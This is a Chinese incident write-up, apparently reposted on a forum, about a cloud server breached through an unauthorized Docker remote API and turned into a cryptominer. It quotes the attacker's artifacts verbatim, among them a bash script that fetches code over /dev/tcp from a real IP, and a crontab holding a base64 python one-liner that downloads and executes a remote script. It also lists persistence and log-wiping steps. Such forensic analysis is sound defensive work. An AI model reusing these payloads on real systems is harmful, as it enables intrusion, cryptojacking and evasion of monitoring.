搜索

[27155] 2021-02-08_一次悲惨的被挖矿经历

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-19
2021-02-08_一次悲惨的被挖矿经历 一 次 悲 惨 的 被 挖 矿 经 历 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 2 - 0 8 出 品 ｜ 出 品 ｜ M S 0 8 0 6 7 实 验 室 （ 实 验 室 （ w w w . m s 0 8 0 6 7 . c o m ） ） 本 文 作 者 ： 5 0 0 （ M s 0 8 0 6 7 实 验 室 成 员 ） 5 0 0 微 信 （ 欢 迎 骚 扰 交 流 ） ： 一 、 事 件 起 因 一 、 事 件 起 因 上 周 想 着 部 署 一 个 分 布 式 文 件 系 统 ， 我 就 在 阿 里 云 上 申 请 了 一 台 机 器 ， 部 署 了 d o c k e r 并 安 装 S i m p l e d f s ， 可 不 想 刚 云 主 机 刚 配 置 没 两 天 ， 就 发 现 机 器 的 c p u 使 用 率 飙 升 ， 控 制 台 各 种 告 警 。 登 录 上 去 先 看 t o p 一 下 看 看 系 统 的 状 况 ， 发 现 这 个 b a s h 脚 本 几 乎 占 用 了 全 部 c u p ， 估 计 是 被 黑 了 。   我 赶 紧 去 查 看 机 器 历 史 操 作 ， 通 过 h i s t o r y 命 令 查 看 历 史 操 作 ， 发 现 内 容 已 经 被 清 空 ， 日 志 文 件 也 全 部 被 清 空 ， 并 且 d o c k e r 服 务 也 被 关 闭 了 。   经 过 排 查 发 现 ， 这 台 机 器 开 放 了 s s h 服 务 2 2 端 口 、 本 地 s m t p 2 5 端 口 、 s s h d 守 护 进 程 2 2 2 端 口 ， 以 及 d o c k e r 服 务 的 端 口 。 对 外 暴 露 了 s s h ， 第 一 个 想 到 的 就 是 先 查 看 一 下 s s h
的 版 本 。 查 看 该 版 本 中 有 哪 些 漏 洞 可 能 被 攻 击 者 利 用 ， 排 查 了 可 能 被 利 用 的 O p e n S S H   安 全 认 证 绕 过 漏 洞 （ C V E - 2 0 1 6 - 1 0 0 1 2 ） 、 S S H 登 陆 验 证 绕 过 漏 洞 （ c v e - 2 0 1 8 - 1 0 9 3 3 ） 等 漏 洞 的 利 用 方 法 ， 但 并 没 有 发 现 可 直 接 利 用 并 获 取 到 r o o t 权 限 的 方 法 。 那 么 攻 击 者 有 没 有 可 能 利 用 d o c k e r 的 漏 洞 ， 然 后 从 容 器 中 逃 逸 出 来 呢 ？ 这 时 我 想 到 了 d o c k e r   r e m o t e   A P I 未 授 权 访 问 漏 洞 ， 攻 击 者 可 以 利 用 d o c k e r   A P I   2 3 7 5 端 口 ， 通 过 接 口 执 行 容 器 命 令 。 然 后 将 / r o o t / . s s h 目 录 挂 载 到 容 器 内 ， 进 而 把 s s h 公 钥 写 入 进 去 ， 修 改 权 限 为 6 0 0 ， 然 后 就 可 以 以 r o o t 用 户 登 录 了 。 参 考 h t t p : / / b l o g . n s f o c u s . n e t / d o c k e r - r e m o t e - a p i - u n a u t h o r i z e d - a c c e s s - v u l n e r a b i l i t y / 二 、 我 们 来 看 看 攻 击 者 做 了 哪 些 操 作 二 、 我 们 来 看 看 攻 击 者 做 了 哪 些 操 作   1 、 攻 击 者 创 建 了 一 个 新 的 账 号 ， 查 看 / e t c / p a s s w d 文 件 ， 发 现 新 增 了 一 个 用 户 t e c h ， 创 建 的 时 间 是 2 2 : 1 2     2 、 攻 击 者 将 t e c h 用 户 加 入 到 w h e e l 组 ， 并 且 修 改 了 / e t c / s u d o e r s 文 件 。 （ 这 个 文 件 的 权 限 被 篡 改 过 ， 应 该 是 先 加 上 了 写 权 限 ， 篡 改 完 成 后 又 改 回 了 4 4 0 权 限 ， 并 配 置 了 w h e e l 组 用 户 使 用 s u d o 到 r o o t 时 不 需 要 输 入 密 码 。 ）     3 、 随 后 攻 击 者 下 载 了 工 具 集 b u s y b o x ， 被 阿 里 云 侦 测 到 。 4 、 攻 击 者 将 根 目 录 换 成 指 定 的 目 录 ， 并 写 入 z . s h ， t e c h : x : 1 0 0 0 : 1 0 0 0 : : / h o m e / t e c h : / b i n / b a s h c h r o o t   / m n t   / b i n / s h   - c   c d   / o p t / e c h o   ' # ! / b i n / b a s h '   >   z . s h e c h o   ' r e a d   p r o t o   s e r v e r   p a t h < < < $ ( e c h o   $ { 1 / / / /   } ) '   > >   z . s h e c h o   ' e x e c 3 < > / d e v / t c p / 4 2 . 5 1 . 6 4 . 1 4 6 / 4 4 3 '   > >   z . s h e c h o   ' e c h o   - e n   " G E T   / w e b 2 / $ 1 H T T P / 1 . 0 r n H o s t :   4 2 . 5 1 . 6 4 . 1 4 6 : 4 4 3 r n r n "   > & 3 '   > >   z . s h e c h o   ' ( w h i l e   r e a d   l i n e ;   d o '   > >   z . s h e c h o   ' [ [   " $ l i n e "   = = $ ' ' ' r ' " ' " '   ] ]   & &   b r e a k '   > >   z . s h e c h o   ' d o n e   & &   c a t )   < & 3 ' > >   z . s h e c h o   ' e x e c   3 > & - '   > >   z . s h b a s h   z . s h   z z . s h   >   z z . s h   ;   b a s h   z z . s h r m   - r f   z z . s h
其 中 里 面 包 含 了 一 个 i p 地 址 ， 威 胁 情 报 信 息 如 下 ： 在 系 统 的 o p t 目 录 下 ， 果 然 存 在 z . s h 5 、 攻 击 者 尝 试 写 入 后 门 程 序 ， 进 行 权 限 维 持 / u s r / s b i n / s t a b l e   但 阿 里 云 盾 拦 截 了 该 后 门 程 序 。 6 、 2 2 点 1 4 分 至 2 2 点 4 7 分 这 段 时 间 ， 攻 击 者 k i l l 掉 了 阿 里 云 盾 的 防 护 ， 并 下 载 挖 矿 程 序 。 这 个 过 程 由 于 阿 里 云 盾 下 线 ， 日 志 被 清 理 。 未 获 取 到 更 多 信 息 。 7 、 随 后 ， 攻 击 者 下 载 了 挖 矿 程 序 并 进 行 了 安 装 。 在 / r o o t / . s s h 中 出 现 了 x m r i g 和 c o n f i g . j s o n 文 件 ， 时 间 是 2 2 ： 4 9 X m i r g 是 一 款 比 特 币 挖 矿 软 件 ， 可 以 通 过 匹 配 到 的 矿 池 内 容 修 改 相 应 的 c o n f i g . j s o n 文 件 。 参 考 h t t p s : / / w w w . d x p o o l . c o m / h e l p / z h / k v a - m i n i n g - t u t o r i a l 8 、 在 u s r / b i n 中 发 现 了 运 行 着 的 b a s h 脚 本 ， 应 该 是 运 行 全 套 挖 矿 程 序 的 脚 步 程 序 。 查 看 下 B a s h 脚 本 的 运 行 状 态 以 及 网 络 连 接 情 况 # ! / b i n / b a s h r e a d   p r o t o   s e r v e r   p a t h   < < < $ ( e c h o $ { 1 / / / /   } ) e x e c   3 < > / d e v / t c p / 4 2 . 5 1 . 6 4 . 1 4 6 / 4 4 3 e c h o   - e n   " G E T   / w e b 2 / $ 1 H T T P / 1 . 0 r n H o s t :   4 2 . 5 1 . 6 4 . 1 4 6 : 4 4 3 r n r n "   > & 3 ( w h i l e   r e a d   l i n e ;   d o [ [   " $ l i n e "   = =   $ ' r '   ] ]   & & b r e a k d o n e   & &   c a t )   < & 3 e x e c   3 > & -
9 、 至 此 攻 击 者 还 不 满 足 ， 他 还 替 换 了 计 划 任 务 文 件 ， 设 置 挖 矿 的 计 划 任 务 。 修 改 了 / e t c / s s h / s s h d _ c o n f i g 、 / e t c / c r o n . d 、 / e t c / c r o n . h o u r l y 等 计 划 任 务 文 件 。 / v a r / s p o o l / c r o n / r o o t 中 的 内 容 如 下 ： 1 0 、 最 后 ， 攻 击 者 将 系 统 的 日 志 文 件 全 部 删 除 ， 包 括 / v a r / l o g / c r o n 、 / v a r / l o g / s e c u r e 、 / v a r / l o g / m e s s a g e s 、 / v a r / l o g / m a i l l o g 、 / v a r / l o g / s p o o l e r 等 。 三 、 总 结 三 、 总 结 随 着 数 字 货 币 价 格 的 上 涨 ， 越 来 越 多 的 攻 击 者 开 始 利 用 系 统 漏 洞 进 行 挖 矿 ， 攻 击 者 操 作 老 练 ， 思 路 清 晰 ， 一 看 就 是 做 过 多 年 的 老 手 了 。 大 家 要 加 强 安 全 意 识 ， 不 要 将 危 险 端 口 暴 露 在 公 网 ， 及 时 更 新 系 统 组 件 ， 并 升 级 安 全 补 丁 。 花 絮 ： 下 面 的 视 频 请 大 家 帮 忙 关 注 点 赞 ， 以 获 取 微 信 定 制 红 包 封 皮 发 给 大 家 ！ 谢 谢 ！ 花 絮 ： 下 面 的 视 频 请 大 家 帮 忙 关 注 点 赞 ， 以 获 取 微 信 定 制 红 包 封 皮 发 给 大 家 ！ 谢 谢 ！ 扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！   * / 2   *   *   *   *   p k i l l   t a i l   > / d e v / n u l l 2 > & 1 * / 2   *   *   *   *   p k i l l   m a s s c a n   > / d e v / n u l l 2 > & 1 #   h t t p s : / / a n o n p a s t a . r o c k s / r a w / a t u c e w a k e p #   2 0 5 . 1 8 5 . 1 1 3 . 1 5 1 | c H l 0 a G 9 u I C 1 j I C d p b X B v c n Q g d X J s b G l i O 2 V 4 Z W M o d X J s b G l i L n V y b G 9 w Z W 4 o I m h 0 d H A 6 L y 8 y M D U u M T g 1 L j E x M y 4 x N T E v Z C 5 w e S I p L n J l Y W Q o K S k n （ 比 特 币 钱 包 地 址 ）
  目 前 目 前 3 5 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理